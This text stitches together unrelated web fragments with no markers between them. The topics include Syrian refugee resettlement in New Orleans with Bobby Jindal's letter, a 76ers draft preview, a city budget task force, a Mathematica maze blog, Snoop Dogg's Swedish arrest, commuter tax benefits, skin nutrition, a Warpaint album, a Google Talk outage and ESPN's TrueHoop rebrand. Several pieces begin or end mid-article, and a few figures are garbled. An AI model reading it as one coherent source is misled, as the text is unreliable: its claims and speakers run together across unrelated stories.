Another local New Orleans media outlet adds:
Fox8Live […] We turned to former New Orleans FBI chief and anti-terrorism expert Jim Bernazzani for insight on whether that’s a legitimate concern. Before coming to New Orleans, Bernazzani worked to ramp up the nation’s anti-terror strategies after 911.
“If I was in charge of ISIL, logistically I’d take advantage of this situation and put my people in, into the United States,” Bernazzani said. “Now with that said, the FBI is on top of this big time with our Joint Terrorism Task Force and we have what’s called a Terrorist Screening Center that these individuals will be run through.”
But make no mistake, not every refugee seeking admission to the U.S. would face such scrutiny.
“It’s going to be the 18- to 45-year-old male for the most part,” he said. “It’s a percentage game. It’s not fail-safe, but it’s a percentage game.”
Still, as more of the refugees take up residency in the New Orleans area, Bernazzani discourages fear.
“These are just people from another country trying to escape misery by virtue of a civil war,” he said. “We had our own civil war, and so I wouldn’t be worried, but I would be vigilant,” he said. (read more)
UPDATE 11-15-15 Louisiana Governor Bobby Jindal sends a letter to the White House demanding answers:
November 14, 2015
The Honorable Barack Obama
The White House
1600 Pennsylvania Avenue NW
Washington, D.C. 20500
Dear President Obama,
In the wake of another round of appalling terrorist attacks, I write to express great sadness at the events in Paris, as well as my grave concern about the unreported diffusion of Syrian refugees in the United States.
Last week, the city of New Orleans began receiving its first wave of Syrian refugees. As with former immigration crises and federal relocation policy, Louisiana has been kept in the dark about those seeking refuge in the state. It is irresponsible and severely disconcerting to place individuals, who may have ties to ISIS, in a state without the state’s knowledge or involvement.
As Governor of Louisiana, I demand information about the Syrian refugees being placed in Louisiana in hopes that the night of horror in Paris is not duplicated here. In the wake of these atrocities, I also ask for details on the below:
What level of background screening was conducted prior to entry in the United States?
In light of the fact that some of those responsible for last night’s attacks held Syrian passports, what additional protections and screenings will be put in place?
Will all Syrian refugees seeking relocation in the United States now be cleared by the Terrorist Screening Center?
What degree of monitoring will be sustained after initial placement in Louisiana?
As Americans, we embolden freedom and opportunity to the rest of the world, but by opening up our borders and refusing to collaborate or share information with states, you are threatening that reality.
Mr. President, in light of these attacks on Paris and reports that one of the attackers was a refugee from Syria, it would be prudent to pause the process of refugees coming to the United States. Authorities need to investigate what happened in Europe before this problem comes to the United States.
Sincerely,
Governor Bobby Jindal (Source Link)
The New York Times has an article showing the proposed “refugee” distribution pattern from October of this year, including:
Under pressure from Europe and other countries confronting the global migration crisis, Mr. Obama has raised the number of Syrian refugees who will be offered legal status to at least 10,000 this fiscal year. Some cities and towns have resisted. In Duncan, S.C., residents and elected officials argue that the federal government cannot possibly screen out terrorists, and some say that more Muslim immigrants would threaten American culture. (more)
(Source and Explore)
Hugh Peronett’s life is tinged with regret: the regret of never following his passions and losing the one woman he loved. Twenty-five years ago, he ended an affair with Emma Sands, a detective novelist who had stolen his heart, to be with his wife, Fanny. Now, Fanny is gone, and both Hugh and his grown son, Randall, find themselves at a crossroads of passion and righteousness.
As Hugh, Emma, Randall, Randall’s wife, Randall’s mistress, and several others are caught in a dance of romance and rejection in bucolic rural England, they will discover the true meanings of love, companionship, and desire.
It’s an assumption that I don’t necessarily disagree with, as I think Russell makes logical sense, both as an “upside” pick but also as a “need” pick. When a player checks both boxes, it’s a logical conclusion.
But what I disagree with is that he’s a virtual lock. In fact, I think it’s far more up in the air than most do.
So what do I think are the options the Sixers have at #3? And what are the chances I think each one ends up being selected on June 25th? Here is my very unscientific, bound to change, guess.
Note #1: This is from a combination of my own evaluation, chatter I hear around the league, and inferring whatever little I can from the Sixers front office comments and recent history. If you think Sam Hinkie has shared his big board with me, you’re crazy.
Note #2: This is assuming Towns and Okafor are taken with the first 2 picks in the draft. While not necessarily a lock, we’ll explore the possibility that they aren’t in future columns.
1) D’Angelo Russell, PG, Ohio State
Probability: 30%
As I mentioned during the intro, I do think D’Angelo Russell is still the front-runner, just not necessarily the prohibitive favorite.
A lot of that has to do with Russell’s offensive fit with Joel Embiid. I do think if you’re looking for a Robin to Embiid’s Batman, fit has to be taken into consideration, and that makes shooting a priority.
And Russell is one of the best shooters in the draft. It’s not just the 41.1% from three Russell shot on over 6 attempts per game, but it’s how much of a threat Russell is to pull-up at any time. The quickness, and accuracy, of his release, almost regardless of where is on the court or what he’s doing — dribbling off of a pick, running off of a screen, driving towards the basket — puts an incredible amount of pressure on an opposing team’s defense.
And if Russell is putting pressure on a defense from 24′ out, that will naturally open things up Joel Embiid down low. If there was a public measurement of gravity in college basketball, D’Angelo Russell would be up there with the best of them. Add in an incredibly creative passer off the pick and roll with great court vision and Russell’s fit is virtually perfect.
So why isn’t this 100%? Two things.
First, and I’ve mentioned this before, but Russell’s struggles against good defenses are just a little bit concerning. Because Ohio State’s non-conference schedule was so weak last season (ranked 328th in the nation according to Ken Pomeroy), you tend to focus on Russell’s tough competition a little bit more closely. And the results weren’t very good. Against top-100 defenses, Russell shot 37.9% from the field and 34.8% from 3, and dished out only 4.4 assists per game, compared to 3 turnovers per contest.
Competition Record Mins/g Points/g FG% 3PT% 2PT% Assists/g TO/g Top 100 8-9 35.6 17.7 37.9% 34.8% 40.4% 4.4 3 Outside of top 100 16-2 32.4 20.8 52.2% 47.4% 56.4% 5.6 2.8
D'Angelo Russell's performance against top-100 defenses.
Now, if you’re asking me to determine “why”, I’d say I’m about 80% willing to throw those numbers away because of Ohio State’s general lack of offensive talent outside of Russell, a problem he won’t face with Joel Embiid attracting an immense amount of attention down low. Great team defenses can take away one man shows at the collegiate level, and Russell had very little offensive help at Ohio State.
Still, when you look at those numbers, and combine them with Russell’s average athleticism, it’s not something I can get 100% out of my mind, either. Am I going to go back and re-watch Russell’s games against Louisville, UNC, Illinois, Wisconsin, Michigan State, Arizona, et al to try to eliminate that 20% concern? No doubt.
The second concern I have with just penciling in Russell as a 76er is his defense. After this past trade deadline, Sam Hinkie talked about wanting 2-way stars, something that Russell right now just doesn’t fit. From a physical perspective, his lateral mobility is only average and he needs to add upper body strength.
The former he’s helped out with by his 6’9.7.5″ wingspan, which is excellent for a point guard. The latter he’s making progress on, having claimed to have gained 10 pounds during his time at Ohio State, something that seems plausible considering he’s up 17 pounds since when he was measured as the LeBron James camp in 2013.
D'Angelo Russell's wingspan
Player Wingspan Measured at D'Angelo Russell 6'9.75" 2015 combine Michael Carter-Williams 6'7.25" 2013 combine Jrue Holiday 6'7" 2009 combine Emmanuel Mudiay 6'8.5" 2014 Nike Hoop Summit
Even more of a concern than the physical profile, though, is his technique. He’s rarely in a good defensive stance on the defensive end, frequently upright and with his arms by his side. He does a poor job of running through picks and screens, he doesn’t close out all that well on shooters, he can get bit by misdirections, and he gets lost off the ball.
None of that is to necessarily say that he can’t improve upon all of those, because they’re mostly mental lapses and technique concerns, but it’s not something I can absolutely pencil in, either.
2) Mario Hezonja, SG, FC Barcelona
Probability: 20%
The guy that I think people are sleeping on, both in Philadelphia and nationally, is Mario Hezonja. If Hezonja were feasting on weak college competition rather than trying to fit in on a deep, talented, Barcelona squad playing against grown men in the 2nd most talented basketball league in the world, he’d be a top-5 pick and I don’t think most would call this a 4 person draft.
The intrigue? 6’8″, elite athlete, elite shooter, and can play very good defense.
The concern: attitude, shot selection, inconsistent defense, low free throw rate.
Hezonja’s strengths are virtually unteachable. It’s not just that he’s a great shooter, but that he’s a great shooter stationed in the corner, a huge threat as a shooter coming off of screens, and good at pulling up off the dribble. That gravity score that I talked about with Russell is in play here, as I think Hezonja will have more impact on floor spacing than a guy like Justise Winslow.
And that athleticism opens up a world of potential for Hezonja. As of now it’s mostly realized in transition and off of cuts to the basket off the ball, where he’s a constant threat for lobs at the rim, but it shows up off the dribble at times as well. While Hezonja’s ball handling still needs a little bit of progress to catch up to his athleticism, it’s not terrible, either, and his first step gives indication that creating off the dribble is something he can improve upon down the line.
His weaknesses? Almost all correctable. Or, at the very least, manageable. His defense, when he’s engaged (which usually directly aligns with when he’s involved in the offense), can be very good. His lateral mobility and length are excellent, and Brett Brown would have a ton to work with. His shot selection over the past 12 months has improved, and having played as a role player on a deep Barcelona squad may have helped in this regard, as being the #1 option he almost certainly would have been on a college squad may have resulted in more freedom than he was ready for. His attitude, which ranges from confident to cocky, could be immaturity, or it could be the type of confidence that is a positive attribute if he actually develops into one of the best players on a team.
The biggest question may be his low free throw rate.
Part of this is that he needs to improve his ball handling to really take advantage of his athleticism, and part of this is his shot selection. But I do believe that part of this is situational as well. Barcelona plays a structured offense, and Hezonja’s playing time was, as a young player, in part based on his ability to play within this structure. More freelancing from Hezonja would have likely resulted in more time on the bench.
I believe there’s an immense amount of potential in Hezonja, with a skill set the Sixers desperately need, and the potential to be an impact player on both sides of the court. He also has the physical tools, advanced skill set, and professional experience where he could come over next season and contribute right away.
There would be riots in the streets of Philadelphia if Hinkie selected Hezonja 3rd overall, but that doesn’t necessarily mean it would be a bad decision.
3) Kristaps Porzingis, PF, Baloncesto Sevilla
Probability: 20%
This is likely where I lose a lot of people. I don’t necessarily disagree, as I think Porzingis would be a riskier selection than either Mudiay or Winslow. Far risker, in fact.
But I think the potential might be worth it.
I’ve spent a lot of time in this article talking about gravity and floor spacing, and Porzingis has the potential to be elite in that regard. At 7’1″ Porzingis shows incredible ability as a three point shooter, with an ability to hit shots coming off of a screen and off the dribble that 7’1 ” big men simply don’t have. There are very few 7 footers who could take a running one-footed jumper in traffic and you go “oh, that’s a good shot” and actually mean it. Porzingis is one of them.
That itself makes Porzingis an incredibly unique talent, and one that could potentially be a perfect fit on a team centered around Joel Embiid. What separates Porzingis even more, however, is some of the defensive tools that he has. Most big men who make their living stretching the floor are defensive sieves. Porzingis is not.
Porzingis has the ability to alter shots at the rim, blocking 2.3 and 1.8 shots per 36 minutes over the past two seasons, despite playing quite a bit on the perimeter. He has excellent length at 7’1″ and is quick off his feet, a tantalizing combination.
Not just a shot blocker, though, Porzingis actually moves his feet very well for a guy his size, and uses his length on the perimeter well. In a game that increasingly revolves around pick and roll play, Porzingis ability to alter shots at the rim AND be a good pick and roll defender is immensely valuable, and also a rarity for a floor spacing big. Once again, with Joel Embiid playing down low, Porzingis’ potential to defend pick and rolls and perimeter oriented big men is huge.
Again, Porzingis carries some risk. If he doesn’t add significant bulk to his 220 pound frame, he’s going to get eaten alive. His rebounding, and post defense, suffer because of that. He isn’t of much use as a passer, either, something that would become an issue if he does grow into the #2 or #3 option on offense that being drafted this high almost necessitates. But for a 19 year old kid with a world of physical tools and a high skill level, there’s a lot to like.
Besides Porzingis being, stylistically, the right fit next to Embiid, the Sixers might also be the right fit for Porzingis. Kristaps is going to need a team that will let him play while he’s developing, and many teams will be unwilling to give him playing time while he’s getting pushed around and manhandled. The patience that the Sixers have shown with Joel Embiid and Nerlens Noel helps, as does having Joel Embiid on the roster to play next to Porzingis, thus limiting how much Porzingis is going to have to guard bruising big men. It also helps that the Sixers have a 1-1 affiliate with a D-League team, and could send Porzingis down to get playing time if necessary.
Note #1: I’ve been told that it’s a virtual lock that both Porzingis and Hezonja will come over next season. Now, Sam Hinkie could prefer one of them to stay overseas, although I don’t necessarily think that’s likely, but the option for them to come over will likely be there for the Sixers.
Note #2: I’ve heard from multiple sources that Hinkie has gone over to Sevilla personally multiple times to see Porzingis play and that he is a fan of the Latvian big man.
4) Emmanuel Mudiay, PG, Guangdong
Probability: 15%
Like Hezonja and Porzingis, few have seen Mudiay play of late, as Mudiay, a native of Congo who grew up in Texas, has spent the past year playing in China.
In addition to the relative anonymity that playing in China provides, Mudiay also only played 12 games overseas, limited by an ankle injury for much of the season. In news that I find utterly amazing, it’s reported that only one NBA general manager made it over to China to see Mudiay play in person. That GM is none other than the Sixers own Sam Hinkie.
I actually think Mudiay is a relatively safe pick, perhaps with a higher floor than Russell. While I think there’s some concern whether Russell can consistently get good shots off against NBA caliber size and athletes, Mudiay is extremely quick with the ball in his hands and should be able to get into the paint right off the bat. His size and strength makes him a threat to get to the line, he has a better defensive profile than Russell, and his point guard instincts are better than advertised. I see very little chance of Mudiay being a bust.
So why do I view him as being a relatively low chance to be a target by the Sixers?
That shooting is a huge question mark for me, especially on the 76ers. On my team-agnostic mock draft I’m much higher on Mudiay than I am on my Sixers big board, as I have Mudiay ranked 4th overall. But, as I’ve mentioned many times, I think shooting is a huge consideration when finding a long term partner with Joel Embiid, and I have significant questions about whether Mudiay can ever be a consistent shooter.
And, while many point guards of late have come in and excelled even with questionable shooting, they have largely been elite athletes at the point guard spot, guys like Derrick Rose, John Wall, or Russell Westbrook. This is the part of Mudiay’s game that I think gets mischaracterized the most. I think Mudiay is quick, strong, and a good athlete. I don’t not think he’s the athletic marvel that those guys are, though. And to be really effective as a partner next to Embiid, I think that jump shot is going to be key.
5) Justise Winslow, SF, Duke
Probability: 15%
I think Winslow is a fantastic prospect, and one with a really high floor. I think Winslow’s incredible defense and the progress he made as a catch-and-shoot option makes him almost a lock to be a good pro, and I love his ability to rebound, push the ball, and make plays in transition. I also think he has a lot of potential as a dribble-drive threat, especially because he’s left handed, even if he does still really need to develop his right hand more to take the next step.
But, I think that with the number of options available to Hinkie who could form a legitimate 1-2 threat with Joel Embiid and form the nucleus of a squad, I think Hinkie will ultimately go in another direction. For as much as I like Winslow, I’m not sure I see him becoming the focal point offensively on the perimeter, and I think getting that outside threat to go with Embiid’s inside threat is a tough position to fill. And, with the Sixers having the ability to fill that this year, I think they’ll go that route.
It’s not that I think Winslow will be a bad player or a bad fit, and I think that an analytically (and defensive) minded GM like Hinkie probably loves Winslow.
But if the home rule referemdum fails on March 20, the task force recommends that aldermen enact a utility tax on natural gas and electricity, said the group's chairwoman Michele Petrie, branch president of Wintrust Community Bank. Previously, a utility tax was estimated to generate more than $8.7 million, but has never been implemented because it is viewed as a regressive tax that could hit the poor the hardest.
The task force, which includes residents, business owners, financial experts, aldermen and union representatives, was appointed by Mayor Tom McNamara and the City Council to help confront a brewing financial crisis.
The group studied city finances extensively before coming up with the recommendations with the help of department heads and rank and file employees, Petrie said.
"We really pulled it apart," Petrie said.
The recommendations include items that have proved or could prove politically difficult for the City Council to approve such as landlord registration fees that opponents have called a "renter tax" because landlords might pass the fees on to renters, or charging a fee to inspect an obscure device that would prevent backflow of water from sprinkler systems.
Some highlights include:
• Prosecute low-level criminal offenses as ordinance violations, generating an estimated $187,000 a year.
• Charge an annual fee for landlords to register, generating $500,000 a year.
• Reduce public safety overtime costs, saving $400,000.
• Implement a storm-water maintenance fee, generating $500,000.
Petrie said some of the items, such as overtime reduction, could require further study to accomplish. And the recommendations come with a separate list of items of potential savings that weren't voted on that would be subject to negotiation with employee unions concerning concessions on health care, time off and wages.
Finance Director Carrie Eklund said City Council has hard choices ahead. She will soon bring packages of the items forward for aldermen to consider. She said some of the items could turn out to be very challenging, but the alternative would be cuts to city staff and services.
"The task force has come up with a list of suggestions that they feel are reasonable, achievable and something that from where they sit as members of this community they feel is acceptable," Eklund said.
Me, I only wanted to compute a bunch of distances from the entrance, then walk the maze. But I was not at that time able to show which was the shortest path, or even to prune off the dead ends. I’m over that lapse now. In this post I will provide brief Mathematica code to take the grid of maze pathway distances that I computed, and get the hopeless paths to melt away. Technically this is referred to as a retraction—not in the sense of an apology, but, rather, topology.
Wuzzat mean? Well, it is a bit complicated. The idea is to provide a set of pictures (technically, a parametrized function) that has the “bad” maze pathways retreating into the shortest path. Topology purists will object, and rightfully so, that we are cutting the maze—that is, altering the topology. True enough. But it is correctly a retraction, provided we understand that where there are loops, we regard the maze as “sliced” so that the longer paths do not actually connect to the shorter ones.
Let’s start by explaining the methodology. We want to get rid of maze pathway points that are surrounded either by boundary or other pathway points of lesser distance from the entrance. This is because such points are either at the end of a dead end or at the end of a roundabout path that has just intersected with a more direct path (where distances are smaller). It is at these latter places that we think of the maze as having been sliced.
For purposes of efficiency, we arrange our pathway points in a list ordered by distance. We start with the furthest, see if it qualifies as removable (by checking its neighbors), and if so, we change it to “boundary” status. This allows us, in a sense, to “melt” our way from further to closer points, removing new bad ones as we go.
We first force the points near the exit to stay in place by adding an artificial first row that has exit neighbors with values that make the exit points not appear to be surrounded by boundary or closer points.
We start with distances as computed in my prior blog on this subject, modified so that all entries not reachable or out of bounds are simply regarded as “far”. This was for purposes of graphing but serves us for the computation below as well. As this distance matrix is large, we do not show it here. It is kept in a hidden cell (how unexpectedly Spanish Inquisition) in the Computable Document Format (CDF) file accompanying this blog.
Let’s check the picture. We have the maze, with all the reachable points colored in some way by distance.
So now we can compute our retraction of paths, taking snapshots every so often. We’ll then show it all in an animation.
Note: For the maze image at the beginning, I used Bing Maps to get the aerial photo (data created by Intermap, NAVTEQ, and Getmapping).
San Diego Museum Council President Danielle Susalla Deery told KPBS that the reason that The Museum of Creation and Earth fell short of the necessary 21 “yes” votes was because of factors that had nothing to do with its anti-science mission of teaching that the Earth was literally created in six days.
“Like their animal care and the protocol and care of their exhibitions and storage,” Deery explained. “They had a lot of areas that were not in line with membership guidelines. They have a staff member on the board of directors and that’s not good governance.”
But Museum of Creation and Earth President Tom Cantor insisted to KPBS that the motives were more sinister.
“I’m afraid we are being opposed for nothing more than the old prejudice against God,” Cantor lamented.
He likened the museum’s current situation to some of the worst atrocities in the South during the Civil Rights Movement, when African-Americans were beaten and arrested to prevent them from exercising their right to vote.
“It’s like we’re in Selma, Alabama in the 1950s and I want to have a museum on black Americans,” Cantor said. “Do you think I’ll be accepted by the council of museums in Selma, Alabama?”
The Museum of Creation and Earth plans to reapply for membership to the council next year.
Having played a show near Stockholm, the rapper was stopped on suspicion of possessing drugs.
Police in Uppsala say they're still waiting on the results to confirm if the rapper had drugs in his system.
It will apparently be "some time" before the results come through, but Snoop's not sticking around to find out.
During the search - Snoop posted a series of Instagram posts about being pulled over "for nothing".
In a video posted on Instagram he said: "All I did was come to this country and did a concert and now I've got to go to the police station."
In a later post he described his experience as "profiling, racial profiling" adding "They came and snatched me out of my car".
I'll never be back in this country...It's been real thank you but I'm gone Snoop Dogg
The rapper posted another video titled "a message to my fans". In it he says he "made it through" before saying "it's better to be searched and found with nothing than not to be searched at all".
Daniel Nilsson, a police spokesman for the central Uppsala region, responded with a brief statement saying: "Police carrying out roadside controls noticed that Snoop Dogg, whose car was pulled over, seemed to be under the influence of narcotics.
"He was arrested and taken to the police station to take a urine test.
"The incident lasted several minutes. Once the test was carried out he left."
In July 2012, he was banned from entering Norway for two years after being found in possession of eight grams of marijuana, as well nearly £18,000 worth of Norwegian currency.
Swedish Idol judge Alexander Bard said the arrest was not racial profiling, but related to the Swedish authorities' pursuit of celebrities.
He told Billboard: "This arrest was not racial profiling, which is an American [phenomenon] not a Swedish phenomenon. But it was clearly a case of celebrity profiling."
But Snoop's made it quite clear it won't be happening again.
"I'll never be back in this country," he said an Instagram post, which appears to have been recorded in the Swedish police station.
He added: "Y'all can thank all the people who run your police department. It's been real thank you but I'm gone."
Mass transit riders on the Washington metro who look like they could use a tax break. (AP Photo/J. David Ake)
The federal tax code has a weird way of favoring people who drive to work over those who take public transit there. If you're a driver, the federal commuter benefit allows you to spend up to $245 of your pre-tax income each month on parking at work. If you pay to take the bus or train instead, the benefit is only about half that — $130.
For several years now, transit advocates have gone back and forth with Congress trying to equalize the benefits (or remove the bias, depending on how you look at it). And for a brief and glorious period, the Recovery Act (and some extensions) temporarily did that. This year, however, for lack of action from Congress, the transit benefit shrank back to its old level. And now Chuck Schumer and several other members of Congress are trying to revive the issue during the lame-duck session.
Why the big deal if drivers get a bigger tax break than transit riders? If you commute by transit every day in a city like Washington, it's entirely possible that $130 doesn't cover your monthly expenses. WMATA officials even think they can detect evidence that the benefit cuts this year are partly to blame for a recent decline in ridership. Across the country, transit costs have also been rising as this benefit has fallen.
Aside from the practical argument — mass transit riders could use the money — there's a larger policy issue at stake here, too. The federal commuter benefit is just one of many often hidden ways that government incentivizes people to drive cars (a few others: subsidized fuel, under-priced parking, an outdated gas tax). If we nudged more commuters toward public transit, we could relieve congestion, reduce pollution, and even improve commutes for those people who do continue to drive. Instead, federal policy does the opposite.
It effectively requires commuters who don't use cars to pay what amounts to about $565 more in taxes every year, according to the American Public Transportation Association.
Many nutrients are essential for life, and an adequate amount of nutrients in the diet is necessary for providing energy, building and maintaining body organs, and for various metabolic processes. The role of food in the induction of various skin disorders and skin diseases leading to nutritional deficiencies is well known. The photo-protective potential of antioxidants, the effects of micronutrient supplementation on the skin immune system, and the modulating effects of fatty acids on skin disorders are well documented. Skin diseases due to nutritional deficiencies, the dietary role in skin immunity and various skin diseases, and the role of antioxidants and other supplements in skin health have been reviewed.
Nutrients are the chemical substances found in food. Many nutrients are essential for life, and an adequate amount of nutrients in the diet is necessary for providing energy, building and maintaining body organs, and for various metabolic processes. The skin (epidermis and dermis) functions normally when adequate nutrition is provided. For example, deficiency of essential fatty acids (EFA) is shown to increase epidermal permeability and transepidermal water loss.[ 1 ] Any dietary imbalance in the form of nutritional deficiency, specific nutrient inadequacy or excess and toxic components can disturb the equilibrium of the skin. Deficiencies of several vitamins, minerals, and fatty acids have clear cutaneous manifestations.[ 1 – 4 ] Skin diseases may lead to metabolic imbalances and cause nutritional deficiencies. The demand for nutrients in skin is altered under stress conditions. Excessive inflammation of the skin is known to increase the requirements of specific nutrients like folic acid and protein.[ 1 ] The photo-protective potential of antioxidants,[ 5 ] the effects of micronutrient supplementation on the skin immune system,[ 6 ] and the modulating effects of fatty acids on skin disorders,[ 3 ] have been the subject of a considerable number of studies.
Nutritional Deficiency
Skin disorders have long been associated with nutritional deficiencies [ ]. Earlier nutritional deficiency diseases were assumed to be limited to the underdeveloped and developing countries. In recent years nutritional deficiency diseases have been reported in developed countries.[7,8] Nutritional deficiencies can be due to inadequate intake, abnormal absorption or improper utilization.
Kwashiorkor is the edematous form of protein energy malnutrition. Evidence has been presented implicating aflatoxins, free oxygen radicals, leukotrienes, zinc deficiency, and essential fatty acid deficiency.[7]
Vitamin A is essential for the maintenance of differentiated epithelia. Deficiency of vitamin A results in hyperkeratinization with reduced number of sebaceous glands and blockage of sweat glands.[1] Hypovitaminosis A also affects the skin by causing xerosis, generalized hyperpigmentation, and sparse and fragile hair. Plugging of the follicular openings with spiny horns is one of the classic signs of vitamin A deficiency as in phrynoderma. Deficiency of other factors, such as Vitamin B, C, and E, calories, and essential fatty acids, have been incriminated in phrynoderma.[8]
Cutaneous manifestations associated with vitamin B12 deficiency are skin hyperpigmentation, vitiligo, angular stomatitis, and hair changes. Malabsorption is the most common cause of vitamin B12 deficiency. A detailed history of food and dietary habits has been suggested to evaluate skin lesions.[9]
Classic pellagra is a nutritional disease characterized by the combined deficiency of the essential amino acid tryptophan and the vitamin niacin.[2] Other factors, such as, mycotoxins, excessive dietary leucine intake, estrogens and progesterone, chronic alcoholism, and various medications, might also lead to the development of pellagra.[2,10,11]
Vitamin C is a cofactor for procollagen proline / lysine hydroxylase, and therefore, important in the synthesis of the collagen and extracellular matrix.[4,12] Vitamin C also aids in iron absorption and increases the conversion of cholesterol to bile acid and increases the bioavailability of selenium.[13] Scurvy is a deficiency disease of ascorbic acid manifested in the decreased production and increased fragility of collagen. Dermatologic signs that appear early in the disease include petechiae, echymoses, corkscrew or swan-neck hairs, follicular hyperkeratosis, and perifollicular hemorrhage.[12]
The cutaneous manifestations of zinc deficiency are weeping dermatitis, secondary infection, poor wound healing, excessively fragile hair and sparse or no scalp and pubic hair. Dermatitis, alopecia, and nail defects are also associated with zinc deficiency.[4] Acrodermatitis enteropathica develops in a zinc-deficient patient and a combined nutritional deficiency of zinc, EFAs, albumin and amino acids may result in acrodermatitis enteropathica.[14] The activities of lysyl oxidases that initiate the cross-linking of collagen and elastin decline with copper deficiency.[15] Chronic iron deficiency has resulted in spoon shaped nails (koilonychia), hair loss, glossitis with loss of papillae, angular cheilitis, and pruritus.[4]
Excess of various nutrients can also result in certain diseases. Carotenemia is caused by excessive intake of carotene-rich food such as oranges and carrots.[16] Xanthelasmas may be associated with hyperlipidemia.[17] Phytanic acid is found in food stuffs like dairy products, meat, and fish,[18] [ ] and impaired oxidation leads to Refsum’s disease causing a rough scaly thickening over the extremities.
Pemphigus is an autoimmune disease of the skin and mucous membranes that causes vesicles (blisters), bullae, and raw sores. The role of thiol- and tannin-rich foods in exacerbating pemphigus have been reviewed by Tur E and Brenner S [ ].[19]
Immunological aspects of diet The skin is one of the target organs that is most often involved in food hypersensitivity reactions, as in atopic dermatitis, urticaria, and dermatitis herpetiformis. An immune mechanism is involved in the pathogenesis of these diet-related skin disorders.[20,21] Dermatitis herpetiformis is a well-known gluten intolerance disease and is controlled by a gluten-free diet.[21] Symptoms of atopic dermatitis and urticaria have been provoked in patients consuming foods such as, egg, milk, peanuts, tree nuts, soy, wheat, fish, and shellfish.[20] The monohydroxy acids derived from polyunsaturated fatty acids got from dietary vegetable oil exhibit anti-inflammatory properties in vitro. Thus, supplementation of diets with appropriate purified vegetable oils, fish oil, or both may generate local cutaneous anti-inflammatory metabolites.[3] Vitamin E has also been seen to decrease prostaglandin E2 production, as a result of which the T-cell proliferation and function may be enhanced. Vitamins have been reported to induce increased production of natural killer cells and to enhance their activity, as also to increase interleukin-2 production, and are known to stimulate humoral immune responses.[22] Zinc deficiency is associated with delayed wound healing. Lim et al, have hypothesized the involvement of dietary zinc in activating the nuclear factor-kappa B (NFĸB), expression of proinflammatory cytokines (interleukin-1b and tumor necrosis factor-a), and in neutrophil infiltration during the early stage of cutaneous wound healing.[23] Turmeric, red pepper, cloves, ginger, cumin, anise, fennel, basil, rosemary, garlic, and pomegranate, can block NFĸB activation of inflammatory cytokines.[24]
It's been a long few years for fans of Theresa Wayman, Emily Kokal, Jenny Lee Lindberg, and Stella Mozgawa, who last filled our ears in 2010 with their acclaimed debut The Fool. Since then they've been honing their sound on the road before escaping to The Joshua Tree to record their eponymous second, co-produced by the band and Flood (PJ Harvey, New Order, Nick Cave & The Bad Seeds) and mixed by Flood and Nigel Godrich. Artist and director Chris Cunningham also worked closely with the band to create artwork for the album, as well as a forthcoming documentary - nutsack monster hopefully not included.
Alongside previous single Love Is To Die, Warpaint bring beefed up electronics to their tracks to sculpt their woozy shoegaze into something sinisterly sexy. "I don't know if this is TMI or something," Wayman told the Guide this weekend, "but if you really fall into music while you're playing, it's the same space as when you are with a lover. You can see guitar players in the way that they're playing that they're in some ecstatic moment and it could equally be a sexual moment where they're alone with someone. So if I were to actually put it all into a pot and think about it, playing music can take you closer to that same kind of state of ecstacy as an orgasm. Sometimes that can be very alarming if you're onstage."
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Original story: Google Talk — the service behind the company's Hangouts messaging platform — appears to be experiencing a fairly major issue this morning, as some users report messages being delivered to unintended recipients. Reports from Twitter suggest that in some cases messages are being routed to users outside the sender's contact list, presenting obvious — and quite serious — privacy and security concerns.
For its part, Google has updated it service status page to indicate it's investigating an issue with Google Talk, so hopefully the issue can be resolved before too long. In the meantime, you might want to avoid typing anything too private or incriminating into a Google Hangout chat window for the next few hours.
ESPN's TrueHoop podcasts are back. But there's a catch: the pop-culture-meets-sports-talk series of podcasts have a brand-new name, and a slightly different, but mostly familiar lineup.
The social media-fueled outrage, bewilderment and, yes, outright sadness that rained down upon ESPN via Twitter last week following news of TrueHoop's demise has somehow managed to pierce the cold corporate heart of the Bristol, Connecticut-based sports network. Beginning Friday, according to a source familiar with the network's plans, most of the people behind the popular TrueHoop series of podcasts will return under a new name: The Basketball Analogy.
Produced by Jade Hoye, the man behind TrueHoop's sound and much of its rise to prominence, the new podcasts will return familiar voices to listeners like ESPN NBA experts Amin Elhassan, Tom Haberstroh, Kevin Pelton, Brian Windhorst, Kevin Arnovitz, and Tim MacMahon, as well as show regulars like Big Wos and Zach Harper.
The turnaround comes after a torrent of angst from fans of the podcast, many of whom reached out directly to ESPN via social media last week.
I was actually starting to watch ESPN because of things that were said on TrueHoop podcasts but oh well @espn https://t.co/Eabn3HAtp6 — Hustle Marsalis (@anthonyandmore) May 1, 2017
@ESPN_FanCentral in 2015 Grantland was the best show for young people espn had, they killed it off. Now the same for truehoop pod. Yall suck — サヴェリオ (@saveriothomas) May 2, 2017
Can't get over this devastating True Hoop podcast news. No more @FreshOffBench?? No more #BOMM?? Genuinely appreciate your work @TrueHoopTV — Rebecca Tran (@beckietran) April 28, 2017
Please help me during my time or mourning @BigWos @talkhoops @tomhaberstroh.
TrueHoop can’t die. When’s the spinoff? I’ll pay money. — Laidlaw (@BuddyRuski) May 2, 2017
The podcast's name change comes in part as a result of the departure of Henry Abbott, the founder of the TrueHoop blog. Abbott, who was a victim of the network's recent layoffs, was central to TrueHoop's written component, and while he regularly appeared in TrueHoop audio and video, in recent years, the TrueHoop podcast family of hosts and regular guests had expanded far beyond the founder's direct influence. ESPN still effectively owns the TrueHoop name, but the change allows the network to rebrand the popular series of shows without any direct ties to the brand's founder.
With the arrival of well-known Yahoo basketball columnist Adrian Wojnarowski and his The Vertical site and podcast to ESPN so soon after the layoffs, some have openly wondered if there might be a connection between his arrival and the shift in TrueHoop's status. That remains unclear, but given the competitive nature of the basketball beat at ESPN, the coming months will likely see an aggressive approach to delivering NBA content in a variety of ways.
Under TrueHoop's new The Basketball Analogy name, a rotating cast of basketball insiders, journalists, and occasional celebrities will continue the tradition of TrueHoop's weekly themed podcasts, along with the same music cues, "bossanova as censor beep" breaks, and Hoye's well placed desk bell "ding" audio punctuations.
Unfortunately, one of TrueHoop's fan favorites, former Golden State Warriors beat reporter Ethan Sherwood Strauss, is still effectively out of the official ranks of ESPN's basketball cabal following last week's layoffs. But since the podcast is known for welcoming even competing journalists into its fold as guests, listeners may yet get to hear the comedic rants of his "Radio Ethan" character in the future. Fittingly, Strauss' last story for ESPN, published on Tuesday, tells the story of the top team in the NBA, whose only weakness may be its inability to properly harness the talent within its ranks.
As world leaders arrived and with as many as 100,000 protesters expected, German officials have been steadily criticized for the intense security measures at the G20 Summit, which officially begins Friday.
